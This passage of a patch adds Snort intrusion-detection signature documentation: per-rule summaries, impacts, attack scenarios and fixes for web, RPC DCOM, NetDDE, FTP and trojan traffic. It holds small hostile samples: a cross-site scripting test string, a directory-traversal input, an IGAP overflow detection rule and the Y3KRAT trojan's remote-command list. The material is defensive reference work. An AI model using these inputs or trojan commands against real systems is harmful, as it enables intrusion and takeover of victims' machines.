+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000712.txt
+++ snort-2.8.5.2/doc/signatures/100000712.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000712
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "register.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "register.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2929.txt
+++ snort-2.8.5.2/doc/signatures/2929.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2929
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2305.txt
+++ snort-2.8.5.2/doc/signatures/2305.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2305
+
+--
+Summary:
+This event is generated when an attempt is made to access the script
+chatbox.php on a web server running a PHP application.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the script
+chatbox.php on a web server. This application does not perform stringent 
+checks when validating data supplied by the user in the Name field of
+the script. HTML or script code supplied via that field may cause a
+Denial of Service condition to occur.
+
+--
+Affected Systems:
+	All systems running E107 versions 0.545 and 0.603, other versions may
+	also be affected
+
+--
+Attack Scenarios:
+The attacker could supply some offending HTML code into the name field
+and cause the DoS.
+
+--
+Ease of Attack:
+Simple.
+
+Proof of concept exists, in the name field enter:
+
+<script type=javascript>alert('foo')</script>
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2462.txt
+++ snort-2.8.5.2/doc/signatures/2462.txt
@@ -0,0 +1,71 @@
+Rule:
+alert ip any any -> any any (msg:"EXPLOIT IGMP IGAP account
+overflow attempt"; ip_proto:2; byte_test:1,>,63,0; byte_test:1,<,67,0;
+byte_test:1,>,16,12; reference:cve,CAN-2004-0176; reference:bugtraq,9952;
+classtype:attempted-admin; sid:2462; rev:1;)
+
+--
+Sid:
+2462
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Ethereal decode of the Internet Group membership Authentication 
+Protocol (IGAP).
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code as root or
+LOCAL_SYSTEM privilege on a vulnerable host.
+
+--
+Detailed Information:
+There is a vulnerability associated with particular versions of Ethereal that
+may cause a buffer overflow when a malformed IGAP packet is decoded using Ethereal
+or tethereal.  This may permit the execution of arbitrary code with root or 
+LOCAL_SYSTEM privilege.  The buffer overflow occurs when a larger than expected
+User Account Size value is discovered in the IGAP payload.
+
+--
+Affected Systems:
+Any host running Ethereal/tethereal versions 0.10.0 - 0.10.2. 
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed IGAP packet, and if decoded by
+a vulnerable version of Ethereal/tethereal, can cause a buffer overflow and the 
+subsequent execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploit code is available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Update to version 0.10.3 of Ethereal.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0176
+
+Bugtraq:
+http://www.securityfocus.com/bid/9952:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000843.txt
+++ snort-2.8.5.2/doc/signatures/100000843.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000843
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Koobi Pro" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "showtopic" parameter in the "index.php" script used by the "Koobi Pro" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Koobi Pro
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000419.txt
+++ snort-2.8.5.2/doc/signatures/100000419.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000419
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ashwebstudio Ashnews" application running on a webserver. Access to the file "ashnews.php" using a remote file being passed as the "pathtoashnews" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "pathtoashnews" parameter in the "ashnews.php" script used by the "Ashwebstudio Ashnews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ashwebstudio Ashnews
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3222.txt
+++ snort-2.8.5.2/doc/signatures/3222.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3222
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1864.txt
+++ snort-2.8.5.2/doc/signatures/1864.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1864
+
+--
+Summary:
+This event is generated when an attempt is made to enter the "SITE 
+NEWER" command on an FTP server.
+
+--
+Impact:
+Denial of Service. Possible execution of arbitrary code is possible.
+
+--
+Detailed Information:
+When issued the "SITE NEWER" command, some versions of wu-ftpd can 
+consume excessive ammounts of memory whichthen can effectively act as a 
+denial of service to the entire system. If a user can create files on 
+the system, it may be possible to execute code as the user running the 
+ftpd daemon, typically root.
+
+--
+Affected Systems:
+	wu-ftpd versions prior to and including 2.4.2.
+
+--
+Attack Scenarios:
+An attacker might be trying to DoS the system, and it could lead to 
+arbitrary code execution with root privileges.
+
+--
+Ease of Attack:
+Medium
+
+--
+False Positives:
+This can lead to false positives if the ftp service is not wu-ftpd or if
+wu-ftpd is greater than version 2.4.2
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade the wu-ftpd service
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1128.txt
+++ snort-2.8.5.2/doc/signatures/1128.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1128
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3081.txt
+++ snort-2.8.5.2/doc/signatures/3081.txt
@@ -0,0 +1,145 @@
+Rule: 
+
+--
+Sid: 
+3081
+-- 
+Summary: 
+This event is generated when a Y3KRAT 1.5 server attempts to respond to a client's connect request.
+
+-- 
+Impact: 
+If connected, the attacker could execute a multitude of functions resulting in a complete compromise of the victim's machine.
+
+--
+Detailed Information:
+Y3KRAT 1.5 uses port 5880 by default. This port can be changed by the attacker. 
+
+The following is a list of the commands for many of Y3KRAT 1.5's functions (Command Name: Command String):
+
+AIM Passwords: aolpwd
+AIM Spy: aolspy
+Change Internet Explorer Caption: changeiecaptest
+Chat With Server: chatsrvY3K Rat user
+Clipboard: pastefromclip
+Change Desktop Color Scheme: clsys
+Change Recycle Bin Name: nrbin
+Change System Name: sysname
+Change Time: time
+Video List: getvideolist
+Dialup: autoconnect
+Access Directories: getclientgetpaths
+Get Directory Paths: getpaths
+Disable Mouse Buttons: dbuttons
+Disable Num Lock: dnumlock
+Disable System Keys: dsyskeys
+Disable All Keys: dkeys{all}
+DOS Commands: doscommands
+Fast Mouse: fastmouseon
+Find File: findfile
+Flip Screen: flip1hor
+FTP: openftp21
+Go To URL: gotourl
+Hide Taskbar: hidetask
+Hide Clock: hideclock
+Hide Desktop Icons: hidedeskicons
+Hide Start Button: hidestart
+Hide System Tray: hidesystray
+ICQ Information: getclienticqinfo
+ICQ Passwords: geticqpass
+ICQ Spy: icqspy
+Internet Explorer Spy: iespy
+General Information: general
+Lights On: lightson
+Lights Off: lightsoff
+Live Shot: cap
+Logged Passwords: getpasses
+Logoff: boot41
+Make File: makefile
+Matrix Chat: matrix
+Modify File (Read System File): readsysfiles
+Modify File (Write System File): writesysfiles
+Monitor Off: enablestandby
+Mouse Settings (Set Position): setpos
+Mouse Settings (Freeze Mouse Position): freezepos
+Mouse Settings (Speed Up Cursor): speedcursor
+MSN Spy: msnspy
+Napster Spy: napsterspy
+Net Get: netget
+NetStat (Read): netstatread
+NetStat (Kill): netstatkill
+CD-ROM open: cdopen
+CD-ROM close: cdclose
+Open File: getfiles
+Overclock: upmhz
+Play Sound: snd (*followed by the sound, for example, err for the error sound*)
+Power Off: boot31
+Print: print
+Ras Passwords: getras
+Remove Server: killserver
+Change Resolution: setdevmode
+Restart: boot21
+Safe Mode: safemode
+Screenshot: cap
+Send Keys: sendtextf
+Send Message: messText
+Show Windows With Text: showwin
+Shutdown: boot11
+Swap Mouse Buttons: swapbuttons
+Write System Error: writesystem
+Yahoo Spy: yahoospy
+
+
+--
+Affected Systems:
+	Windows 95, 98, ME, NT, 2000
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the attacker enters the IP address and 
+presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action: 
+Remove the Dcomcnofg key located at the following places in the registry:
+HKEY_LOCAL_MACHINES\Software\Microsoft\Windows\CurrentVersion\Run 
+HKEY_LOCAL_MACHINES\Software\Microsoft\Windows\CurrentVersion\RunServices
+HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Run
+
+Reboot the computer or close Dcomcnofg.exe.
+
+Delete Dcomcnofg.exe from the windows system directory.
+
+If found, delete server.exe and kill the process called server.exe.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky Macatee <rmacatee@sourcefire.com> 
+
+-- 
+Additional References:
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/y3krat/15/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3303.txt
+++ snort-2.8.5.2/doc/signatures/3303.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3303
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3248.txt
+++ snort-2.8.5.2/doc/signatures/3248.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3248
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/977.txt
+++ snort-2.8.5.2/doc/signatures/977.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 977
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3131.txt
+++ snort-2.8.5.2/doc/signatures/3131.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+3131
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in GNU Mailman.
+
+-- 
+Impact: 
+Information disclosure.
+
+--
+Detailed Information:
+GNU Mailman is used to manage mailing lists. It is written in Python and
+is available on a variety of platforms.
+
+GNU Mailman when used with webservers that do not remove extra slashes
+from URLs, is prone to a directory traversal attack that may allow an
+attacker access to sensitive files on an affected system.
+
+--
+Affected Systems:
+	GNU Mailman in conjunction with Apache 1.3.x
+
+--
+Attack Scenarios: 
+An attacker can supply extra slashes and dots (....///) to a URL to
+escape the web root and access other parts of the host filesystem.
+
+-- 
+Ease of Attack: 
+Simple. Exploit software is not required.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000706.txt
+++ snort-2.8.5.2/doc/signatures/100000706.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000706
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SmartSiteCMS" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "root" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "root" parameter in the "index.php" script used by the "SmartSiteCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SmartSiteCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3373.txt
+++ snort-2.8.5.2/doc/signatures/3373.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3373
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/288.txt
+++ snort-2.8.5.2/doc/signatures/288.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+288
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow in the POP3 service on Linux systems.
+
+--
+Impact:
+An attacker can gain access to a shell running with root privileges.
+
+--
+Detailed Information:
+This rule looks for a piece of shell code (executable code) that is
+used to exploit a known vulnerability in an older version of the POP3
+daemon distributed in Linux systems.
+
+--
+Affected Systems:
+Various Linux versions.
+
+--
+Attack Scenarios:
+The attack is done remotely and gives the attacker a command shell
+running with root privileges.
+
+--
+Ease of Attack:
+Simple.  An exploit is readily available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Install the available security patches from your linux vendor.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2938.txt
+++ snort-2.8.5.2/doc/signatures/2938.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2938
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
